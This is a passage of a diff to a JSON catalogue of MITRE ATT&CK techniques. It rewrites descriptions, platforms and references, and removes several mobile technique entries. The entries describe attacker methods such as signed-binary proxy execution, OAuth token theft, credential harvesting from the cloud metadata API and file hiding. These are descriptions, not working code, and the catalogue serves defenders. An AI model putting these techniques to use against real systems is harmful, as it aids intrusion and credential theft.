application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", "meta": { "external_id": "T1216", "kill_chain": [ @@ -5808,15 +5406,14 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1216", - "https://github.com/LOLBAS-Project/LOLBAS#criteria", "https://github.com/api0cradle/UltimateAppLockerByPassList" ] }, "uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", - "value": "System Script Proxy Execution - T1216" + "value": "Signed Script Proxy Execution - T1216" }, { - "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", + "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files.", "meta": { "external_id": "T1218", "kill_chain": [ @@ -5832,19 +5429,14 @@ "Windows Registry: Windows Registry Key Modification" ], "mitre_platforms": [ - "Windows", - "Linux", - "macOS" + "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1218", - "https://github.com/LOLBAS-Project/LOLBAS#criteria", - "https://gtfobins.github.io/gtfobins/split/", - "https://man7.org/linux/man-pages/man1/split.1.html" + "https://attack.mitre.org/techniques/T1218" ] }, "uuid": "457c7820-d331-465a-915e-42f85500ccc4", - "value": "System Binary Proxy Execution - T1218" + "value": "Signed Binary Proxy Execution - T1218" }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1341).\n\nFor attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)", @@ -5936,12 +5528,6 @@ "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", "meta": { "external_id": "T1514", - "kill_chain": [ - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1514", "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg", @@ -5963,7 +5549,7 @@ "value": "Elevated Execution with Prompt - T1514" }, { - "description": "An adversary may encrypt files stored on a mobile device to prevent the user from accessing them. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.", + "description": "An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, for example with the intent of only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android. We are unaware of any demonstrated use on iOS.", "meta": { "external_id": "APP-28", "kill_chain": [ @@ -5984,15 +5570,6 @@ "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.", "meta": { "external_id": "T1158", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1158", "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", @@ -6055,7 +5632,7 @@ "value": "Cloud Storage Object Discovery - T1619" }, { - "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of operating systems they access or through information discovery of remote systems. \n\n \n\nOn Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) Previously, the Android `TelephonyManager` class could be used to gather telephony-related device identifiers, information such as the IMSI, IMEI, and phone number. However, starting with Android 10, only preloaded, carrier, the default SMS, or device and profile owner applications can access the telephony-related device identifiers.(Citation: TelephonyManager) \n\n \n\nOn iOS, gathering network configuration information is not possible without root access. \n\n \n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1422) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ", + "description": "On Android, details of onboard network interfaces are accessible to apps through the `java.net.NetworkInterface` class.(Citation: NetworkInterface) The Android `TelephonyManager` class can be used to gather related information such as the IMSI, IMEI, and phone number.(Citation: TelephonyManager)\n\nOn iOS, gathering network configuration information is not possible without root access.", "meta": { "external_id": "T1422", "kill_chain": [ @@ -6078,12 +5655,6 @@ "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", "meta": { "external_id": "T1522", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "IaaS" - ], "refs": [ "https://attack.mitre.org/techniques/T1522", "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html", @@ -6130,25 +5701,6 @@ "uuid": "e754fa49-2db1-416b-92db-7f886decd099", "value": "Generate analyst intelligence requirements - T1234" }, - { - "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, Android is a UNIX-like OS and includes a basic [Unix Shell](https://attack.mitre.org/techniques/T1623/001) that can be accessed via the Android Debug Bridge (ADB) or Java’s `Runtime` package.\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0027) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells. ", - "meta": { - "external_id": "T1623", - "kill_chain": [ - "mitre-mobile-attack:execution" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1623", - "https://partner.samsungknox.com/mtd" - ] - }, - "uuid": "29f1f56c-7b7a-4c14-9e39-59577ea2743c", - "value": "Command and Scripting Interpreter - T1623" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1263).\n\nSecurity defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)", "meta": { @@ -6191,45 +5743,6 @@ "uuid": "fe421ab9-c8f3-42f7-9ae1-5d6c324cc925", "value": "Analyze application security posture - T1293" }, - { - "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", - "meta": { - "external_id": "APP-29", - "kill_chain": [ - "mitre-mobile-attack:exfiltration" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1646", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html" - ] - }, - "uuid": "32063d7f-0a39-440d-a4a3-2694488f96cc", - "value": "Exfiltration Over C2 Channel - T1646" - }, - { - "description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode, preventing the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode; they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)", - "meta": { - "external_id": "T1642", - "kill_chain": [ - "mitre-mobile-attack:impact" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/", - "https://attack.mitre.org/techniques/T1642", - "https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)" - ] - }, - "uuid": "eb6cf439-1bcb-4d10-bc68-1eed844ed7b3", - "value": "Endpoint Denial of Service - T1642" - }, { "description": "As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.\n\nDetection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.\n\nPlatforms: Android, iOS", "meta": { @@ -6279,15 +5792,7 @@ "https://attack.mitre.org/techniques/T1472" ] }, - "related": [ - { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", "value": "Generate Fraudulent Advertising Revenue - T1472" }, @@ -6305,25 +5810,6 @@ "uuid": "7dae871c-effc-444b-9962-4b7efefe7d40", "value": "Identify sensitive personnel information - T1274" }, - { - "description": "Adversaries may exploit remote services of enterprise servers, workstations, or other resources to gain unauthorized access to internal systems once inside of a network. Adversaries may exploit remote services by taking advantage of a mobile device’s access to an internal enterprise network through local connectivity or through a Virtual Private Network (VPN). Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. \n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1423) or other Discovery methods. These look for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nDepending on the permissions level of the vulnerable remote service, an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1404) as a result of lateral movement exploitation as well. ", - "meta": { - "external_id": "APP-32", - "kill_chain": [ - "mitre-mobile-attack:lateral-movement" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1428", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html" - ] - }, - "uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", - "value": "Exploitation of Remote Services - T1428" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1256).\n\nAn adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)", "meta": { @@ -6339,7 +5825,7 @@ "value": "Identify web defensive services - T1256" }, { - "description": "Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nIn Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container’s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. \n\n", + "description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nAdversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)", "meta": { "external_id": "T1528", "kill_chain": [ @@ -6352,19 +5838,16 @@ "SaaS", "Office 365", "Azure AD", - "Google Workspace", - "Containers" + "Google Workspace" ], "refs": [ "https://attack.mitre.org/techniques/T1528", "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", - "https://auth0.com/learn/refresh-tokens/", "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks", "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens", "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols", "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app", "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow", - "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/", "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/" ] }, @@ -6393,24 +5876,6 @@ "uuid": "09312b1a-c3c6-4b45-9844-3ccc78e5d82f", "value": "Gather Victim Host Information - T1592" }, - { - "description": "Adversaries may circumvent mechanisms designed to control elevated privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can gain on a machine. Authorization has to be granted to specific users in order to perform tasks that are designated as higher risk. An adversary can use several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system. ", - "meta": { - "external_id": "APP-22", - "kill_chain": [ - "mitre-mobile-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1626", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" - ] - }, - "uuid": "08ea902d-ecb5-47ed-a453-2798057bb2d3", - "value": "Abuse Elevation Control Mechanism - T1626" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1269).\n\nThe attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)", "meta": { @@ -6426,9 +5891,9 @@ "value": "Identify people of interest - T1269" }, { - "description": "Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to exfiltration. \n\n \n\nAccess to local system data, which includes information stored by the operating system, often requires escalated privileges. Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos. On Android, adversaries may also attempt to access files from external storage which may require additional storage-related permissions. \n\n ", + "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system.\n\nLocal system data includes information stored by the operating system. Access to local system data often requires escalated privileges (e.g. root access). Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos.", "meta": { - "external_id": "STA-41", + "external_id": "T1533", "kill_chain": [ "mitre-mobile-attack:collection" ], @@ -6437,8 +5902,7 @@ "iOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1533", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-41.html" + "https://attack.mitre.org/techniques/T1533" ] }, "uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", @@ -6459,41 +5923,25 @@ "value": "Post compromise tool development - T1353" }, { - "description": "Adversaries may search common password storage locations to obtain user credentials. Passwords can be stored in several places on a device, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", + "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.\n\nIn the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. Google reportedly responds to reports of abuse by blocking access to GCM.(Citation: Kaspersky-MobileMalware)", "meta": { - "external_id": "AUT-11", + "external_id": "APP-29", "kill_chain": [ - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1634", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html" - ] - }, - "uuid": "cc6e0637-76d2-4af3-a604-9d8d3ff8a6b3", - "value": "Credentials from Password Store - T1634" - }, - { - "description": "Adversaries may generate outbound traffic from devices. This is typically performed to manipulate external outcomes, such as to achieve carrier billing fraud or to manipulate app store rankings or ratings. Outbound traffic is typically generated as SMS messages or general web traffic, but may take other forms as well.\n\nIf done via SMS messages, Android apps must hold the `SEND_SMS` permission. Additionally, sending an SMS message requires user consent if the recipient is a premium number. Applications cannot send SMS messages on iOS", - "meta": { - "external_id": "APP-16", - "kill_chain": [ - "mitre-mobile-attack:impact" + "mitre-mobile-attack:command-and-control", + "mitre-mobile-attack:exfiltration" ], "mitre_platforms": [ "Android", "iOS" ], "refs": [ - "https://attack.mitre.org/techniques/T1643", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html" + "https://attack.mitre.org/techniques/T1437", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html", + "https://securelist.com/mobile-malware-evolution-2013/58335/" ] }, - "uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", - "value": "Generate Traffic from Victim - T1643" + "uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "value": "Standard Application Layer Protocol - T1437" }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1349).\n\nAn exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)", @@ -6525,29 +5973,6 @@ "uuid": "eacadff4-164b-451c-bacc-7b29ebfd0c3f", "value": "Create infected removable media - T1355" }, - { - "description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering or URI hijacking and typically requires user action to grant access, such as through a system “Open With” dialogue. \n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework used to issue tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry through OAuth 2.0 using a variety of authorization protocols. An example of a commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested without requiring user credentials.", - "meta": { - "external_id": "T1635", - "kill_chain": [ - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1635", - "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", - "https://developer.android.com/training/app-links/index.html", - "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols", - "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow", - "https://tools.ietf.org/html/rfc8252" - ] - }, - "uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", - "value": "Steal Application Access Token - T1635" - }, { "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)", "meta": { @@ -6621,25 +6046,6 @@ "uuid": "eb517589-eefc-480e-b8e3-7a8b1066f6f1", "value": "Targeted social media phishing - T1366" }, - { - "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may opt to also encrypt and/or obfuscate these alternate channels. ", - "meta": { - "external_id": "APP-30", - "kill_chain": [ - "mitre-mobile-attack:exfiltration" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1639", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" - ] - }, - "uuid": "3e091a89-a493-4a6c-8e88-d57be19bb98d", - "value": "Exfiltration Over Alternative Protocol - T1639" - }, { "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)", "meta": { @@ -6684,51 +6090,6 @@ "uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "value": "Masquerade as Legitimate Application - T1444" }, - { - "description": "Adversaries may communicate with compromised devices using out of band data streams. This could be done for a variety of reasons, including evading network traffic monitoring, as a backup method of command and control, or for data exfiltration if the device is not connected to any Internet-providing networks (i.e. cellular or Wi-Fi). Several out of band data streams exist, such as SMS messages, NFC, and Bluetooth. \n\n \n\nOn Android, applications can read push notifications to capture content from SMS messages, or other out of band data streams. This requires that the user manually grant notification access to the application via the settings menu. However, the application could launch an Intent to take the user directly there. \n\n \n\nOn iOS, there is no way to programmatically read push notifications. ", - "meta": { - "external_id": "T1644", - "kill_chain": [ - "mitre-mobile-attack:command-and-control" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1644" - ] - }, - "uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", - "value": "Out of Band Data - T1644" - }, - { - "description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth that services rely on, or by jamming the signal going to or coming from devices. \n\nA Network DoS will occur when an adversary is able to jam radio signals (e.g. Wi-Fi, cellular, GPS) around a device to prevent it from communicating. For example, to jam cellular signal, an adversary may use a handheld signal jammer, which jam devices within the jammer’s operational range.(Citation: NIST-SP800187) \n\nUsage of cellular jamming has been documented in several arrests reported in the news.(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)", - "meta": { - "external_id": "GPS-0", - "kill_chain": [ - "mitre-mobile-attack:impact" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf", - "https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/", - "https://attack.mitre.org/techniques/T1464", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html", - "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html", - "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html", - "https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/", - "https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/", - 